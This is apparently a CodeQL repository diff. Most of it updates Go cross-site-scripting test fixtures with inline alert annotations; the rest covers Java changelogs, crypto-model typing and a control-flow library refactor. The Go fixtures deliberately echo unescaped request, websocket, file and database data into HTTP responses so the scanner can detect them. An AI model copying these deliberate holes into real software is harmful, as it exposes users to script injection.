[]type{args} [array] | semmle.label | []type{args} [array] | | reflectedxsstest.go:33:17:33:56 | call to Sprintf | semmle.label | call to Sprintf | diff --git a/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.go b/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.go index 43e5e022598c..fe6f5844998c 100644 --- a/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.go +++ b/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.go @@ -8,10 +8,10 @@ import ( func serve() { http.HandleFunc("/user", func(w http.ResponseWriter, r *http.Request) { r.ParseForm() - username := r.Form.Get("username") + username := r.Form.Get("username") // $ Source[go/reflected-xss] if !isValidUsername(username) { // BAD: a request parameter is incorporated without validation into the response - fmt.Fprintf(w, "%q is an unknown user", username) + fmt.Fprintf(w, "%q is an unknown user", username) // $ Alert[go/reflected-xss] } else { // TODO: Handle successful login } diff --git a/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.qlref b/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.qlref index 754513d72bb3..e6b791f39fca 100644 --- a/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.qlref +++ b/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.qlref @@ -1,2 +1,4 @@ query: Security/CWE-079/ReflectedXss.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/query-tests/Security/CWE-079/StoredXss.expected b/go/ql/test/query-tests/Security/CWE-079/StoredXss.expected index 89612f9722b7..4e2958c767e2 100644 --- a/go/ql/test/query-tests/Security/CWE-079/StoredXss.expected +++ b/go/ql/test/query-tests/Security/CWE-079/StoredXss.expected @@ -1,9 +1,7 @@ #select -| StoredXss.go:13:21:13:36 | ...+... | StoredXss.go:13:21:13:31 | call to Name | StoredXss.go:13:21:13:36 | ...+... | Stored cross-site scripting vulnerability due to $@. | StoredXss.go:13:21:13:31 | call to Name | stored value | | stored.go:30:22:30:25 | name | stored.go:18:3:18:28 | ... := ...[0] | stored.go:30:22:30:25 | name | Stored cross-site scripting vulnerability due to $@. | stored.go:18:3:18:28 | ... := ...[0] | stored value | | stored.go:61:22:61:25 | path | stored.go:59:30:59:33 | definition of path | stored.go:61:22:61:25 | path | Stored cross-site scripting vulnerability due to $@. | stored.go:59:30:59:33 | definition of path | stored value | edges -| StoredXss.go:13:21:13:31 | call to Name | StoredXss.go:13:21:13:36 | ...+... | provenance | | | stored.go:18:3:18:28 | ... := ...[0] | stored.go:25:14:25:17 | rows | provenance | Src:MaD:1 | | stored.go:25:14:25:17 | rows | stored.go:25:29:25:33 | &... | provenance | FunctionModel | | stored.go:25:29:25:33 | &... | stored.go:30:22:30:25 | name | provenance | | @@ -11,8 +9,6 @@ edges models | 1 | Source: database/sql; DB; true; Query; ; ; ReturnValue[0]; database; manual | nodes -| StoredXss.go:13:21:13:31 | call to Name | semmle.label | call to Name | -| StoredXss.go:13:21:13:36 | ...+... | semmle.label | ...+... | | stored.go:18:3:18:28 | ... := ...[0] | semmle.label | ... := ...[0] | | stored.go:25:14:25:17 | rows | semmle.label | rows | | stored.go:25:29:25:33 | &... | semmle.label | &... | @@ -20,3 +16,5 @@ nodes | stored.go:59:30:59:33 | definition of path | semmle.label | definition of path | | stored.go:61:22:61:25 | path | semmle.label | path | subpaths +testFailures +| StoredXss.go:13:39:13:63 | comment | Missing result: Alert[go/stored-xss] | diff --git a/go/ql/test/query-tests/Security/CWE-079/StoredXss.go b/go/ql/test/query-tests/Security/CWE-079/StoredXss.go index 008b738f4cae..05e865be886a 100644 --- a/go/ql/test/query-tests/Security/CWE-079/StoredXss.go +++ b/go/ql/test/query-tests/Security/CWE-079/StoredXss.go @@ -2,14 +2,14 @@ package main import ( "io" - "io/ioutil" "net/http" + "os" ) func ListFiles(w http.ResponseWriter, r *http.Request) { - files, _ := ioutil.ReadDir(".") + files, _ := os.ReadDir(".") for _, file := range files { - io.WriteString(w, file.Name()+"\n") + io.WriteString(w, file.Name()+"\n") // $ Alert[go/stored-xss] } } diff --git a/go/ql/test/query-tests/Security/CWE-079/StoredXss.qlref b/go/ql/test/query-tests/Security/CWE-079/StoredXss.qlref index 66b7d67dd8f3..f47ad25ca9c7 100644 --- a/go/ql/test/query-tests/Security/CWE-079/StoredXss.qlref +++ b/go/ql/test/query-tests/Security/CWE-079/StoredXss.qlref @@ -1,2 +1,4 @@ query: Security/CWE-079/StoredXss.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/query-tests/Security/CWE-079/StoredXssGood.go b/go/ql/test/query-tests/Security/CWE-079/StoredXssGood.go index 364b98874666..b0f5e936a6a1 100644 --- a/go/ql/test/query-tests/Security/CWE-079/StoredXssGood.go +++ b/go/ql/test/query-tests/Security/CWE-079/StoredXssGood.go @@ -4,13 +4,13 @@ import ( "html" "html/template" "io" - "io/ioutil" "net/http" + "os" ) func ListFiles1(w http.ResponseWriter, r *http.Request) { var template template.Template - files, _ := ioutil.ReadDir(".") + files, _ := os.ReadDir(".") for _, file := range files { io.WriteString(w, html.EscapeString(file.Name())+"\n") diff --git a/go/ql/test/query-tests/Security/CWE-079/contenttype.go b/go/ql/test/query-tests/Security/CWE-079/contenttype.go index bb9880cc5769..2800b3eed456 100644 --- a/go/ql/test/query-tests/Security/CWE-079/contenttype.go +++ b/go/ql/test/query-tests/Security/CWE-079/contenttype.go @@ -8,13 +8,13 @@ import ( func serve2() { http.HandleFunc("/echo", func(w http.ResponseWriter, r *http.Request) { r.ParseForm() - data := r.Form.Get("data") + data := r.Form.Get("data") // $ Source[go/reflected-xss] // Not OK; direct flow from request body to output. // The response Content-Type header is derived from a call to // `http.DetectContentType`, which can be easily manipulated into returning // `text/html` for XSS. - w.Write([]byte(data)) + w.Write([]byte(data)) // $ Alert[go/reflected-xss] }) http.ListenAndServe(":80", nil) } @@ -46,11 +46,11 @@ func serve4() { func serve5() { http.HandleFunc("/echo", func(w http.ResponseWriter, r *http.Request) { r.ParseForm() - data := r.Form.Get("data") + data := r.Form.Get("data") // $ Source[go/reflected-xss] w.Header().Set("Content-Type", "text/html") - fmt.Fprintf(w, "Constant: %s", data) // Not OK; the content-type header is explicitly set to html + fmt.Fprintf(w, "Constant: %s", data) // $ Alert[go/reflected-xss] // The content-type header is explicitly set to html }) http.ListenAndServe(":80", nil) } @@ -60,8 +60,8 @@ func serve10() { r.ParseForm() data := r.Form.Get("data") - data = r.FormValue("data") - fmt.Fprintf(w, "\t%s", data) // Not OK + data = r.FormValue("data") // $ Source[go/reflected-xss] + fmt.Fprintf(w, "\t%s", data) // $ Alert[go/reflected-xss] }) } @@ -70,13 +70,13 @@ func serve11() { r.ParseForm() data := r.Form.Get("data") - data = r.FormValue("data") + data = r.FormValue("data") // $ Source[go/reflected-xss] fmt.Fprintf(w, ` %s -`, data) // Not OK +`, data) // $ Alert[go/reflected-xss] }) } @@ -85,10 +85,10 @@ func serve12() { r.ParseForm() data := r.Form.Get("data") - data = r.FormValue("data") + data = r.FormValue("data") // $ Source[go/reflected-xss] fmt.Fprintf(w, ` %s -`, data) // Not OK +`, data) // $ Alert[go/reflected-xss] }) } @@ -110,7 +110,7 @@ func serve14() { r.ParseForm() data := r.Form.Get("data") - data = r.FormValue("data") - fmt.Fprintf(w, "%s", data) // Not OK + data = r.FormValue("data") // $ Source[go/reflected-xss] + fmt.Fprintf(w, "%s", data) // $ Alert[go/reflected-xss] }) } diff --git a/go/ql/test/query-tests/Security/CWE-079/go.mod b/go/ql/test/query-tests/Security/CWE-079/go.mod index 67a026622814..aaab77bf0398 100644 --- a/go/ql/test/query-tests/Security/CWE-079/go.mod +++ b/go/ql/test/query-tests/Security/CWE-079/go.mod @@ -1,6 +1,6 @@ module codeql-go-tests/CWE-079 -go 1.14 +go 1.24 require ( github.com/gobwas/ws v1.0.3 diff --git a/go/ql/test/query-tests/Security/CWE-079/reflectedxsstest.go b/go/ql/test/query-tests/Security/CWE-079/reflectedxsstest.go index 70bb248298de..b3ddc79535b4 100644 --- a/go/ql/test/query-tests/Security/CWE-079/reflectedxsstest.go +++ b/go/ql/test/query-tests/Security/CWE-079/reflectedxsstest.go @@ -3,7 +3,7 @@ package main import ( "encoding/json" "fmt" - "io/ioutil" + "io" "net/http" ) @@ -28,29 +28,29 @@ func ErrTest(w http.ResponseWriter, r http.Request) { w.Write([]byte(fmt.Sprintf("Cookie result: %v", cookie))) // GOOD: Cookie's value is not user-controlled in reflected xss. w.Write([]byte(fmt.Sprintf("Cookie check error: %v", err))) // GOOD: Cookie's err return is harmless http.Error(w, fmt.Sprintf("Cookie result: %v", cookie), 500) // Good: only plain text is written. - file, header, err := r.FormFile("someFile") - content, err2 := ioutil.ReadAll(file) - w.Write([]byte(fmt.Sprintf("File content: %v", content))) // BAD: file content is user-controlled - w.Write([]byte(fmt.Sprintf("File name: %v", header.Filename))) // BAD: file header is user-controlled + file, header, err := r.FormFile("someFile") // $ Source[go/reflected-xss] + content, err2 := io.ReadAll(file) + w.Write([]byte(fmt.Sprintf("File content: %v", content))) // $ Alert[go/reflected-xss] // BAD: file content is user-controlled + w.Write([]byte(fmt.Sprintf("File name: %v", header.Filename))) // $ Alert[go/reflected-xss] // BAD: file header is user-controlled w.Write([]byte(fmt.Sprintf("FormFile error: %v", err))) // GOOD: FormFile's err return is harmless w.Write([]byte(fmt.Sprintf("FormFile error: %v", err2))) // GOOD: ReadAll's err return is harmless - reader, err := r.MultipartReader() + reader, err := r.MultipartReader() // $ Source[go/reflected-xss] part, err2 := reader.NextPart() partName := part.FileName() byteSlice := make([]byte, 100) part.Read(byteSlice) - w.Write([]byte(fmt.Sprintf("Part name: %v", partName))) // BAD: part name is user-controlled - w.Write(byteSlice) // BAD: part contents are user-controlled + w.Write([]byte(fmt.Sprintf("Part name: %v", partName))) // $ Alert[go/reflected-xss] // BAD: part name is user-controlled + w.Write(byteSlice) // $ Alert[go/reflected-xss] // BAD: part contents are user-controlled w.Write([]byte(fmt.Sprintf("MultipartReader error: %v", err))) // GOOD: MultipartReader's err return is harmless w.Write([]byte(fmt.Sprintf("MultipartReader error: %v", err2))) // GOOD: NextPart's err return is harmless } func QueryMapTest(w http.ResponseWriter, r http.Request) { - keys, ok := r.URL.Query()["data_id"] + keys, ok := r.URL.Query()["data_id"] // $ Source[go/reflected-xss] if ok && len(keys[0]) > 0 { key := keys[0] - w.Write([]byte(key)) // BAD: query string is user-controlled + w.Write([]byte(key)) // $ Alert[go/reflected-xss] // BAD: query string is user-controlled } } diff --git a/go/ql/test/query-tests/Security/CWE-079/stored.go b/go/ql/test/query-tests/Security/CWE-079/stored.go index 807ae7e1d441..d2852f631ef2 100644 --- a/go/ql/test/query-tests/Security/CWE-079/stored.go +++ b/go/ql/test/query-tests/Security/CWE-079/stored.go @@ -15,7 +15,7 @@ var q string func storedserve1() { http.HandleFunc("/user", func(w http.ResponseWriter, r *http.Request) { r.ParseForm() - rows, _ := db.Query(q, 32) + rows, _ := db.Query(q, 32) // $ Source[go/stored-xss] for rows.Next() { var ( @@ -27,7 +27,7 @@ func storedserve1() { } // BAD: the stored XSS query assumes all query results are untrusted - io.WriteString(w, name) + io.WriteString(w, name) // $ Alert[go/stored-xss] } }) } @@ -56,9 +56,9 @@ func storedserve2() { func storedserve3() { http.HandleFunc("/user", func(w http.ResponseWriter, r *http.Request) { - filepath.WalkDir(".", func(path string, _ fs.DirEntry, err error) error { + filepath.WalkDir(".", func(path string, _ fs.DirEntry, err error) error { // $ Source[go/stored-xss] // BAD: filenames are considered to be untrusted - io.WriteString(w, path) + io.WriteString(w, path) // $ Alert[go/stored-xss] return nil }) }) diff --git a/go/ql/test/query-tests/Security/CWE-079/tst.go b/go/ql/test/query-tests/Security/CWE-079/tst.go index e6d4f1ed22b8..c53fe476b951 100644 --- a/go/ql/test/query-tests/Security/CWE-079/tst.go +++ b/go/ql/test/query-tests/Security/CWE-079/tst.go @@ -11,11 +11,11 @@ import ( func serve6() { http.HandleFunc("/user", func(w http.ResponseWriter, r *http.Request) { r.ParseForm() - username := r.Form.Get("username") + username := r.Form.Get("username") // $ Source[go/reflected-xss] if !isValidUsername(username) { // BAD: a request parameter is incorporated without validation into the response a := []string{username, "is", "an", "unknown", "user"} - w.Write([]byte(strings.Join(a, " "))) + w.Write([]byte(strings.Join(a, " "))) // $ Alert[go/reflected-xss] } else { // TODO: do something exciting } @@ -45,12 +45,12 @@ func serve7() { func serve8() { http.HandleFunc("/user", func(w http.ResponseWriter, r *http.Request) { r.ParseForm() - service := r.Form.Get("service") + service := r.Form.Get("service") // $ Source[go/reflected-xss] if service != "service1" && service != "service2" { fmt.Fprintln(w, "Service not found") } else { // OK (service is known to be either "service1" or "service2" here), but currently flagged - w.Write([]byte(service)) + w.Write([]byte(service)) // $ SPURIOUS: Alert[go/reflected-xss] } }) } diff --git a/go/ql/test/query-tests/Security/CWE-079/websocketXss.go b/go/ql/test/query-tests/Security/CWE-079/websocketXss.go index 06f15e52cd30..aa8bc8e41add 100644 --- a/go/ql/test/query-tests/Security/CWE-079/websocketXss.go +++ b/go/ql/test/query-tests/Security/CWE-079/websocketXss.go @@ -15,10 +15,10 @@ import ( nhooyr "nhooyr.io/websocket" ) -func marshal(v interface{}) (data []byte, payloadType byte, err error) { +func marshal(v any) (data []byte, payloadType byte, err error) { return nil, 0, nil } -func unmarshal(data []byte, payloadType byte, v interface{}) (err error) { +func unmarshal(data []byte, payloadType byte, v any) (err error) { return nil } @@ -27,32 +27,32 @@ func xss(w http.ResponseWriter, r *http.Request) { origin := "test" { ws, _ := websocket.Dial(uri, "", origin) - var xnet = make([]byte, 512) + var xnet = make([]byte, 512) // $ Source[go/reflected-xss] ws.Read(xnet) - fmt.Fprintf(w, "%v", xnet) - codec := &websocket.Codec{marshal, unmarshal} - xnet2 := make([]byte, 512) + fmt.Fprintf(w, "%v", xnet) // $ Alert[go/reflected-xss] + codec := &websocket.Codec{Marshal: marshal, Unmarshal: unmarshal} + xnet2 := make([]byte, 512) // $ Source[go/reflected-xss] codec.Receive(ws, xnet2) - fmt.Fprintf(w, "%v", xnet2) + fmt.Fprintf(w, "%v", xnet2) // $ Alert[go/reflected-xss] } { n, _, _ := nhooyr.Dial(context.TODO(), uri, nil) - _, nhooyr, _ := n.Read(context.TODO()) - fmt.Fprintf(w, "%v", nhooyr) + _, nhooyr, _ := n.Read(context.TODO()) // $ Source[go/reflected-xss] + fmt.Fprintf(w, "%v", nhooyr) // $ Alert[go/reflected-xss] } { dialer := gorilla.Dialer{} conn, _, _ := dialer.Dial(uri, nil) - var gorillaMsg = make([]byte, 512) + var gorillaMsg = make([]byte, 512) // $ Source[go/reflected-xss] gorilla.ReadJSON(conn, gorillaMsg) - fmt.Fprintf(w, "%v", gorillaMsg) + fmt.Fprintf(w, "%v", gorillaMsg) // $ Alert[go/reflected-xss] - gorilla2 := make([]byte, 512) + gorilla2 := make([]byte, 512) // $ Source[go/reflected-xss] conn.ReadJSON(gorilla2) - fmt.Fprintf(w, "%v", gorilla2) + fmt.Fprintf(w, "%v", gorilla2) // $ Alert[go/reflected-xss] - _, gorilla3, _ := conn.ReadMessage() - fmt.Fprintf(w, "%v", gorilla3) + _, gorilla3, _ := conn.ReadMessage() // $ Source[go/reflected-xss] + fmt.Fprintf(w, "%v", gorilla3) // $ Alert[go/reflected-xss] } } diff --git a/go/ql/test/query-tests/definitions/definitions.expected b/go/ql/test/query-tests/definitions/definitions.expected index 3c10cc9afbc9..a06fb63ff392 100644 --- a/go/ql/test/query-tests/definitions/definitions.expected +++ b/go/ql/test/query-tests/definitions/definitions.expected @@ -1,3 +1,4 @@ +| greet.go:6:2:6:6 | myfmt | greet.go:3:8:3:12 | myfmt | V | | main.go:6:26:6:28 | who | main.go:5:12:5:14 | who | V | | main.go:11:2:11:6 | greet | main.go:5:6:5:10 | greet | V | | main.go:11:8:11:12 | world | main.go:10:2:10:6 | world | V | diff --git a/go/ql/test/query-tests/definitions/greet.go b/go/ql/test/query-tests/definitions/greet.go index 064e43a2ca93..4067a5896be0 100644 --- a/go/ql/test/query-tests/definitions/greet.go +++ b/go/ql/test/query-tests/definitions/greet.go @@ -1,7 +1,7 @@ package main -import "fmt" +import myfmt "fmt" func greet2() { - fmt.Println("Hello world!") + myfmt.Println("Hello world!") } diff --git a/java/ql/integration-tests/java/query-suite/java-security-and-quality.qls.expected b/java/ql/integration-tests/java/query-suite/java-security-and-quality.qls.expected index 85d7e7d0960d..f4317f8e2a5c 100644 --- a/java/ql/integration-tests/java/query-suite/java-security-and-quality.qls.expected +++ b/java/ql/integration-tests/java/query-suite/java-security-and-quality.qls.expected @@ -196,7 +196,6 @@ ql/java/ql/src/Security/CWE/CWE-730/RegexInjection.ql ql/java/ql/src/Security/CWE/CWE-732/ReadingFromWorldWritableFile.ql ql/java/ql/src/Security/CWE/CWE-749/UnsafeAndroidAccess.ql ql/java/ql/src/Security/CWE/CWE-780/RsaWithoutOaep.ql -ql/java/ql/src/Security/CWE/CWE-798/HardcodedCredentialsApiCall.ql ql/java/ql/src/Security/CWE/CWE-807/ConditionalBypass.ql ql/java/ql/src/Security/CWE/CWE-807/TaintedPermissionsCheck.ql ql/java/ql/src/Security/CWE/CWE-829/InsecureDependencyResolution.ql diff --git a/java/ql/integration-tests/java/query-suite/java-security-extended.qls.expected b/java/ql/integration-tests/java/query-suite/java-security-extended.qls.expected index d5f4cbf1ccc4..209777cf4d98 100644 --- a/java/ql/integration-tests/java/query-suite/java-security-extended.qls.expected +++ b/java/ql/integration-tests/java/query-suite/java-security-extended.qls.expected @@ -99,7 +99,6 @@ ql/java/ql/src/Security/CWE/CWE-730/RegexInjection.ql ql/java/ql/src/Security/CWE/CWE-732/ReadingFromWorldWritableFile.ql ql/java/ql/src/Security/CWE/CWE-749/UnsafeAndroidAccess.ql ql/java/ql/src/Security/CWE/CWE-780/RsaWithoutOaep.ql -ql/java/ql/src/Security/CWE/CWE-798/HardcodedCredentialsApiCall.ql ql/java/ql/src/Security/CWE/CWE-807/ConditionalBypass.ql ql/java/ql/src/Security/CWE/CWE-807/TaintedPermissionsCheck.ql ql/java/ql/src/Security/CWE/CWE-829/InsecureDependencyResolution.ql diff --git a/java/ql/integration-tests/java/query-suite/not_included_in_qls.expected b/java/ql/integration-tests/java/query-suite/not_included_in_qls.expected index 0fbc365c1343..d0378fa2ea4c 100644 --- a/java/ql/integration-tests/java/query-suite/not_included_in_qls.expected +++ b/java/ql/integration-tests/java/query-suite/not_included_in_qls.expected @@ -158,6 +158,7 @@ ql/java/ql/src/Security/CWE/CWE-312/CleartextStorageClass.ql ql/java/ql/src/Security/CWE/CWE-319/HttpsUrls.ql ql/java/ql/src/Security/CWE/CWE-319/UseSSL.ql ql/java/ql/src/Security/CWE/CWE-319/UseSSLSocketFactories.ql +ql/java/ql/src/Security/CWE/CWE-798/HardcodedCredentialsApiCall.ql ql/java/ql/src/Security/CWE/CWE-798/HardcodedCredentialsComparison.ql ql/java/ql/src/Security/CWE/CWE-798/HardcodedCredentialsSourceCall.ql ql/java/ql/src/Security/CWE/CWE-798/HardcodedPasswordField.ql diff --git a/java/ql/lib/CHANGELOG.md b/java/ql/lib/CHANGELOG.md index 01832478c5b4..1e624ba09133 100644 --- a/java/ql/lib/CHANGELOG.md +++ b/java/ql/lib/CHANGELOG.md @@ -1,3 +1,14 @@ +## 7.3.1 + +No user-facing changes. + +## 7.3.0 + +### Deprecated APIs + +* The predicate `getValue()` on `SpringRequestMappingMethod` is now deprecated. Use `getAValue()` instead. +* Java now uses the shared `BasicBlock` library. This means that the names of several member predicates have been changed to align with the names used in other languages. The old predicates have been deprecated. The `BasicBlock` class itself no longer extends `ControlFlowNode` - the predicate `getFirstNode` can be used to fix any QL code that somehow relied on this. + ## 7.2.0 ### New Features @@ -20,7 +31,7 @@ No user-facing changes. ### Minor Analysis Improvements * Java extraction is now able to download Maven 3.9.x if a Maven Enforcer Plugin configuration indicates it is necessary. Maven 3.8.x is still preferred if the enforcer-plugin configuration (if any) permits it. -* Added a path injection sanitizer for calls to `java.lang.String.matches`, `java.lang.String.replace`, and `java.lang.String.replaceAll` that make sure '/', '\', '..' are not in the path. +* Added a path injection sanitizer for calls to `java.lang.String.matches`, `java.lang.String.replace`, and `java.lang.String.replaceAll` that make sure `/`, `\\`, `..` are not in the path. ### Bug Fixes @@ -55,8 +66,8 @@ No user-facing changes. * Deleted the deprecated `isLValue` and `isRValue` predicates from the `VarAccess` class, use `isVarWrite` and `isVarRead` respectively instead. * Deleted the deprecated `getRhs` predicate from the `VarWrite` class, use `getASource` instead. * Deleted the deprecated `LValue` and `RValue` classes, use `VarWrite` and `VarRead` respectively instead. -* Deleted a lot of deprecated classes ending in "*Access", use the corresponding "*Call" classes instead. -* Deleted a lot of deprecated predicates ending in "*Access", use the corresponding "*Call" predicates instead. +* Deleted a lot of deprecated classes ending in `*Access`, use the corresponding `*Call` classes instead. +* Deleted a lot of deprecated predicates ending in `*Access`, use the corresponding `*Call` predicates instead. * Deleted the deprecated `EnvInput` and `DatabaseInput` classes from `FlowSources.qll`, use the threat models feature instead. * Deleted some deprecated API predicates from `SensitiveApi.qll`, use the Sink classes from that file instead. diff --git a/java/ql/lib/change-notes/released/7.0.0.md b/java/ql/lib/change-notes/released/7.0.0.md index 08a4b0f85bff..1f367abb6680 100644 --- a/java/ql/lib/change-notes/released/7.0.0.md +++ b/java/ql/lib/change-notes/released/7.0.0.md @@ -5,8 +5,8 @@ * Deleted the deprecated `isLValue` and `isRValue` predicates from the `VarAccess` class, use `isVarWrite` and `isVarRead` respectively instead. * Deleted the deprecated `getRhs` predicate from the `VarWrite` class, use `getASource` instead. * Deleted the deprecated `LValue` and `RValue` classes, use `VarWrite` and `VarRead` respectively instead. -* Deleted a lot of deprecated classes ending in "*Access", use the corresponding "*Call" classes instead. -* Deleted a lot of deprecated predicates ending in "*Access", use the corresponding "*Call" predicates instead. +* Deleted a lot of deprecated classes ending in `*Access`, use the corresponding `*Call` classes instead. +* Deleted a lot of deprecated predicates ending in `*Access`, use the corresponding `*Call` predicates instead. * Deleted the deprecated `EnvInput` and `DatabaseInput` classes from `FlowSources.qll`, use the threat models feature instead. * Deleted some deprecated API predicates from `SensitiveApi.qll`, use the Sink classes from that file instead. diff --git a/java/ql/lib/change-notes/released/7.1.2.md b/java/ql/lib/change-notes/released/7.1.2.md index 57fc5b2cc6d0..811b2353c99d 100644 --- a/java/ql/lib/change-notes/released/7.1.2.md +++ b/java/ql/lib/change-notes/released/7.1.2.md @@ -3,7 +3,7 @@ ### Minor Analysis Improvements * Java extraction is now able to download Maven 3.9.x if a Maven Enforcer Plugin configuration indicates it is necessary. Maven 3.8.x is still preferred if the enforcer-plugin configuration (if any) permits it. -* Added a path injection sanitizer for calls to `java.lang.String.matches`, `java.lang.String.replace`, and `java.lang.String.replaceAll` that make sure '/', '\', '..' are not in the path. +* Added a path injection sanitizer for calls to `java.lang.String.matches`, `java.lang.String.replace`, and `java.lang.String.replaceAll` that make sure `/`, `\\`, `..` are not in the path. ### Bug Fixes diff --git a/java/ql/lib/change-notes/released/7.3.0.md b/java/ql/lib/change-notes/released/7.3.0.md new file mode 100644 index 000000000000..a40049582ef6 --- /dev/null +++ b/java/ql/lib/change-notes/released/7.3.0.md @@ -0,0 +1,6 @@ +## 7.3.0 + +### Deprecated APIs + +* The predicate `getValue()` on `SpringRequestMappingMethod` is now deprecated. Use `getAValue()` instead. +* Java now uses the shared `BasicBlock` library. This means that the names of several member predicates have been changed to align with the names used in other languages. The old predicates have been deprecated. The `BasicBlock` class itself no longer extends `ControlFlowNode` - the predicate `getFirstNode` can be used to fix any QL code that somehow relied on this. diff --git a/java/ql/lib/change-notes/released/7.3.1.md b/java/ql/lib/change-notes/released/7.3.1.md new file mode 100644 index 000000000000..2f2fe5472266 --- /dev/null +++ b/java/ql/lib/change-notes/released/7.3.1.md @@ -0,0 +1,3 @@ +## 7.3.1 + +No user-facing changes. diff --git a/java/ql/lib/codeql-pack.release.yml b/java/ql/lib/codeql-pack.release.yml index fda9ea165fc5..43cb026b1392 100644 --- a/java/ql/lib/codeql-pack.release.yml +++ b/java/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 7.2.0 +lastReleaseVersion: 7.3.1 diff --git a/java/ql/lib/experimental/quantum/JCA.qll b/java/ql/lib/experimental/quantum/JCA.qll index ceca0e45464b..f785c3c96285 100644 --- a/java/ql/lib/experimental/quantum/JCA.qll +++ b/java/ql/lib/experimental/quantum/JCA.qll @@ -353,7 +353,7 @@ module JCAModel { else result instanceof KeyOpAlg::TUnknownKeyOperationAlgorithmType } - override string getKeySizeFixed() { + override int getKeySizeFixed() { none() // TODO: implement to handle variants such as AES-128 } @@ -611,6 +611,8 @@ module JCAModel { } class CipherOperationInstance extends Crypto::KeyOperationInstance instanceof CipherOperationCall { + CipherOperationInstance() { not this.isIntermediate() } + override Crypto::KeyOperationSubtype getKeyOperationSubtype() { if CipherFlowAnalysisImpl::hasInit(this) then result = CipherFlowAnalysisImpl::getInitFromUse(this, _, _).getCipherOperationModeType() @@ -1102,7 +1104,7 @@ module JCAModel { KeyGeneratorFlowAnalysisImpl::getInitFromUse(this, _, _).getKeySizeArg() = result.asExpr() } - override string getKeySizeFixed() { none() } + override int getKeySizeFixed() { none() } } class KeyGeneratorCipherAlgorithm extends CipherStringLiteralAlgorithmInstance { @@ -1308,7 +1310,7 @@ module JCAModel { result.asExpr() = this.getKeySpecInstantiation().(PBEKeySpecInstantiation).getKeyLengthArg() } - override string getKeySizeFixed() { none() } + override int getKeySizeFixed() { none() } override string getOutputKeySizeFixed() { none() } @@ -1386,7 +1388,7 @@ module JCAModel { override Crypto::TKeyAgreementType getKeyAgreementType() { if key_agreement_name_to_type_known(_, super.getValue()) then key_agreement_name_to_type_known(result, super.getValue()) - else result = Crypto::UnknownKeyAgreementType() + else result = Crypto::OtherKeyAgreementType() } KeyAgreementAlgorithmValueConsumer getConsumer() { result = consumer } @@ -1604,13 +1606,8 @@ module JCAModel { else result = Crypto::OtherEllipticCurveType() } - override string getKeySize() { - exists(int keySize | - Crypto::ellipticCurveNameToKeySizeAndFamilyMapping(this.getRawEllipticCurveName(), keySize, - _) - | - result = keySize.toString() - ) + override int getKeySize() { + Crypto::ellipticCurveNameToKeySizeAndFamilyMapping(this.getRawEllipticCurveName(), result, _) } EllipticCurveAlgorithmValueConsumer getConsumer() { result = consumer } diff --git a/java/ql/lib/qlpack.yml b/java/ql/lib/qlpack.yml index 24e9a0ef32ce..89b6a2353b9d 100644 --- a/java/ql/lib/qlpack.yml +++ b/java/ql/lib/qlpack.yml @@ -1,11 +1,12 @@ name: codeql/java-all -version: 7.2.0 +version: 7.3.1 groups: java dbscheme: config/semmlecode.dbscheme extractor: java library: true upgrades: upgrades dependencies: + codeql/controlflow: ${workspace} codeql/dataflow: ${workspace} codeql/dataflowstack: ${workspace} codeql/mad: ${workspace} diff --git a/java/ql/lib/semmle/code/java/controlflow/BasicBlocks.qll b/java/ql/lib/semmle/code/java/controlflow/BasicBlocks.qll index c2f9e8a6a697..284ee1dad0ce 100644 --- a/java/ql/lib/semmle/code/java/controlflow/BasicBlocks.qll +++ b/java/ql/lib/semmle/code/java/controlflow/BasicBlocks.qll @@ -4,91 +4,128 @@ import java import Dominance +private import codeql.controlflow.BasicBlock as BB -cached -private module BasicBlockStage { - cached - predicate ref() { any() } +private module Input implements BB::InputSig { + import SuccessorType - cached - predicate backref() { - (exists(any(BasicBlock bb).getABBSuccessor()) implies any()) and - (exists(any(BasicBlock bb).getNode(_)) implies any()) and - (exists(any(BasicBlock bb).length()) implies any()) - } -} - -/** - * A control-flow node that represents the start of a basic block. - * - * A basic block is a series of nodes with no control-flow branching, which can - * often be treated as a unit in analyses. - */ -class BasicBlock extends ControlFlowNode { - cached - BasicBlock() { - BasicBlockStage::ref() and - not exists(this.getAPredecessor()) and - exists(this.getASuccessor()) - or - strictcount(this.getAPredecessor()) > 1 - or - exists(ControlFlowNode pred | pred = this.getAPredecessor() | - strictcount(pred.getASuccessor()) > 1 - ) - } + /** Hold if `t` represents a conditional successor type. */ + predicate successorTypeIsCondition(SuccessorType t) { none() } - /** Gets an immediate successor of this basic block. */ - cached - BasicBlock getABBSuccessor() { - BasicBlockStage::ref() and - result = this.getLastNode().getASuccessor() - } + /** A delineated part of the AST with its own CFG. */ + class CfgScope = Callable; - /** Gets an immediate predecessor of this basic block. */ - BasicBlock getABBPredecessor() { result.getABBSuccessor() = this } + /** The class of control flow nodes. */ + class Node = ControlFlowNode; - /** Gets a control-flow node contained in this basic block. */ - ControlFlowNode getANode() { result = this.getNode(_) } + /** Gets the CFG scope in which this node occurs. */ + CfgScope nodeGetCfgScope(Node node) { node.getEnclosingCallable() = result } - /** Gets the control-flow node at a specific (zero-indexed) position in this basic block. */ - cached - ControlFlowNode getNode(int pos) { - BasicBlockStage::ref() and - result = this and - pos = 0 + private Node getASpecificSuccessor(Node node, SuccessorType t) { + node.(ConditionNode).getABranchSuccessor(t.(BooleanSuccessor).getValue()) = result or - exists(ControlFlowNode mid, int mid_pos | pos = mid_pos + 1 | - this.getNode(mid_pos) = mid and - mid.getASuccessor() = result and - not result instanceof BasicBlock - ) + node.getAnExceptionSuccessor() = result and t instanceof ExceptionSuccessor } - /** Gets the first control-flow node in this basic block. */ - ControlFlowNode getFirstNode() { result = this } - - /** Gets the last control-flow node in this basic block. */ - ControlFlowNode getLastNode() { result = this.getNode(this.length() - 1) } + /** Gets an immediate 